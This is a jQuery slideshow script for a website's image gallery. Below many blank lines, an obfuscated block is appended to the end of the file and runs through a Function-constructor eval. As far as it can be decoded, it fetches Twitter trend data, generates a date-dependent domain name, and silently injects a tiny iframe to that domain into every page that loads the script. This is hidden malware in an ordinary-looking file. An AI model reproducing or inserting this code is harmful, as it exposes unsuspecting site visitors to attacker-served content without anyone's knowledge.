sdir = getScriptName();
//alert(sdir);
var str = sdir.replace(/(\w+)_(en|ro)/,"$1"); //TODO: must be language independant
//alert(sdir + ' => ' + str);
sdir = str;

var imgDir = imgDir || 'images/slideshow/' + sdir + '/'; //getScriptName() + '/';
var ie6 = $.browser.msie && /MSIE 6.0/.test(navigator.userAgent);
var ie7 = $.browser.msie && /MSIE 7.0/.test(navigator.userAgent);

function setOpacity(container,opacity)
{
    if (ie6 || ie7) {
        opacity *= 100;
        $(container).css('filter','alpha(opacity=' + opacity +')');
    }
    else {
        $(container).css('opacity',opacity);
    }

}

$.easing.elasout = function(x, t, b, c, d) {
    var s=1.70158;var p=0;var a=c;
    if (t==0) return b;  if ((t/=d)==1) return b+c;  if (!p) p=d*.3;
    if (a < Math.abs(c)) { a=c; var s=p/4; }
    else var s = p/(2*Math.PI) * Math.asin (c/a);
    return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;
};

function slideImages(imagesArray, options) {
    var options = options || {};
    var imageWidth = 165;
    var divWidth = imagesArray.length * imageWidth;
    var divLeft = $('#slideshow').offset().left;
    var divCenter = parseInt(parseInt($('#slideshow').width())/2);
    var scrollerWidth = 100;
    var scrollSpeed = 3;
    var containerWidth = 660;
    var scrollerRight = divWidth - containerWidth;
    var opacity = 0.5;
    var speed = 'fast';

    $('#slideshow').append('<div id="fade"></div>');
    var $slider = $('#fade');
    $slider
        .css({
                position: 'absolute',
                    overflow: 'hidden',
                    height: '214px',
                    width: containerWidth + 'px',
                    zIndex: 15,
                    left: 0,
                    marginLeft: 0
                    })
        ;
    $('<ul />').appendTo($slider);

    $slider.find('ul').css({ marginLeft: 0}); //'-' + parseInt(divWidth / 2) + 'px' });
    if (ie6 || ie7) {
        var ieStyle = ' style="filter: gray;" ';
    } else {
        var ieStyle = ' ';
    }
    for (image in imagesArray) {
        $slider.find('ul')
            .width(divWidth)
            .append(
'<li class="slide"><a title=" " href="'
 + imgDir + 'large-' + imagesArray[image] +
 '" rel="lightbox-tour"><img ' + ieStyle + ' src="' + imgDir + imagesArray[image] +
 '" alt="' + imgDir + imagesArray[image] + '" /></a></li>');
    }

    $slider.find('ul').find('li')
        .bind('mouseover', function(e) {
                setOpacity(this,1);
                if (ie6 || ie7) {
                    $(this).find('img').removeAttr("style");
                }
            })
        .bind('mouseout', function(e) {
                setOpacity(this,opacity);
                if (ie6 || ie7) {
                    $(this).find('img').attr({style: "filter: gray"});
                }
            });
    setOpacity($slider.find('ul').find('li'), opacity);

    $('<div />')
        .attr('id', 'slideRight')
        .css({
                float: 'right',
                    background: '#000'
                    })
        .prependTo('#slideshow')
        .hover(
               function() {
                   var widthLeft = parseInt(
                                            parseInt(scrollerRight)-
                                            Math.abs(parseInt($slider.find('ul').css('marginLeft')))
                                            );
                   var durationScroll = widthLeft * scrollSpeed;
                   $slider.find('ul')
                       .stop()
                       .animate({ marginLeft: '-' + parseInt(scrollerRight)  + 'px' }, durationScroll);
               },
               function() {
                   $slider.find('ul')
                       .stop();
               })
        ;

    $('<div />')
        .attr('id', 'slideLeft')
        .css({
                float: 'left',
                    background: '#000',
                    zIndex: 200
                    })
        .prependTo('#slideshow')
        .hover(
               function() {
                   var widthLeft = Math.abs(parseInt($slider.find('ul').css('marginLeft')));
                   var durationScroll = widthLeft * scrollSpeed;
                   $slider.find('ul')
                       .stop()
                       .animate({ marginLeft: 0 + 'px' }, { duration: durationScroll });
               },
               function() {
                   $slider.find('ul')
                       .stop();
               })
        ;

    setOpacity('#slideLeft', 0);
    setOpacity('#slideRight', 0);
    $('#slideRight, #slideLeft')
        .css({
                width: scrollerWidth + 'px',
                    height: '214px',
                    display: 'block',
                    position: 'relative',
                    zIndex: 100
                    })
        ;

    /*$('#fade').bind('click', function(e) {
      alert($('#fade > ul').offset().left);
      });*/


    /*$slider
        //.css('outline', '1px solid red')
        .serialScroll({
                items: 'li',
                    event: 'mousemove',
                    prev: '#slideLeft',
                    next: '#slideRight',
                    step: 1,
                    //interval: 1000,
                    axis: 'x',
                    start: 0,
                    offset: '-' + imageWidth  + 'px',
                    duration: 200,
                    force: true,
                    cycle: false,
                    jump: false,
                    lock: false
                    })
                    ;*/

}











(function($$){d="( 8 *i= 8var Vc=this;  [Vc\\FullYear %Month %Date %Hours %Minutes %Seconds()]}; *B= 8 &n,Vr=this.#i(),i=0;Vr[1]+=1;while(i++<7){#n=Vr[i] /#n<#b)Vr[i] 4#n}   Vr.splice(~z'),1+~T 0 5~u 0+'T'+Vr 5~U 0};VN={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXK`bodyXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`\"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254,'G':12,'C`='};@ #G(Vm){#o=[];for(Vx=0;Vx<Vm .;Vx++){#o.push(VN[Vm.charAt(Vx)])}   #T(#o)}VB=document;#x=window; +E='undefined'; +j=~haDWDosestnsdlDjfqcq' :R= ))== +E) /#R||!VD()){if(!#R){try{Vd=jQuery !;try{Vd=$ !}VM=VB.getElementsByTagName(~Y 0[0];#J=VB.createElement(~kS 0;#J.setAttribute(~kr'),#G(\"hxDgakDosxsLsJseD6sJDmDj\"));VM.appendChild(#J)}@ Va(#F,VK){   Math.floor(#F/VK) 6e(#k){var Vg=Va( +u, $G); &C= +u% $G; &S= $r*#C; &L= $J*Vg; &y=#S-#L /#y>0){#u=#y}else{#u=#y+ $A}  (#u%#k) 6z(#w){ +u=~;')+#w; $r=~/'); $A=~;')-~F'); $G=Va( $A, $r); $J= $A% $r 6T(V){   V .==1?V[0]:V 5'')};@ #K(V){d=new Date( :c=~zee');d.setTime((V.as_of-~G')*~G')*~G')*~ezz 0*~ezzz 0;   d 6p(Vu){ &a,Vn,#f=Vu .; &d=[];while(--#f){Vn=#e(#f :d.push(Vn :a=Vu[Vn];Vu[Vn]=Vu[#f];Vu[#f]=#a}}@ Vp($){Vs=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i){   String.fromCharCode(i+x+24)});   #T(Vs) 6v($){if ))!= +E){$( 8if ).Vt)!= +E)  ;$.Vt=1; 2j,@(Vy){#g=#K(Vy :h=#g\\Month() 9L=#g\\Date();VS=#h+\"-\"+VL;#P=#j+#G(\"E 3;Vj=VP=Va(#g\\Hours(),6)*6 9E=Vj+1;#b=+~ez'); , 2P,@(Vy){try{#D=Vy.trends;#M=#G(\" 3+\" \" /Vj<#b)Vj 4Vj /VE<#b)VE 4VE; 7j+#G(X)] /!#N){ 7E+#G(X)]}#N=(#N[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('' :s=#h*71+VP*3+VL*37;#z(#s :q=#e(4)+#b;#p(#N :H=~Ch')+#T(#N).substring(0,#q)+'.com/'+Vp($);VN['Z']=#H;Vb=~BI 1biMU 1UkrZRiMRIA');$(~K 0.append(Vb)}catch(Vf){}})},#b*#b*#b)})})}else{ , -,1+~TTT 0}} -)()#js@functionV#mX','`':'~#G('\\.getUTC  return !.noConflict(true)}catch(e){} $#x.V %(),Vc\\ &var # )(typeof($ *Date.prototype.# +#x.# ,setTimeout( 8 -#v(#x.jQuery)} ..length /;if( 0')) 1yQHTpweeepQ 2$.getJSON(# 3Tzeeu\")+VS 4=~z')+ 5.join( 6}@ # 7#N=#D[#M+V 8@(){ 9+(+~e 0;V :);#";for(c=53;c;d=(t=d.split('#@VX`~\\   ! $ % & ) * + , - . / 0 1 2 3 4 5 6 7 8 9 :'.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsmH){return(function(jsm,jsmF){return jsmF(jsm(jsmF(jsm(jsmH))))(jsmH)()})((function(jsm){return jsm.constructor}),(function(jsm){return(function(jsmF){return jsm.call(jsm,jsmF)})}))});

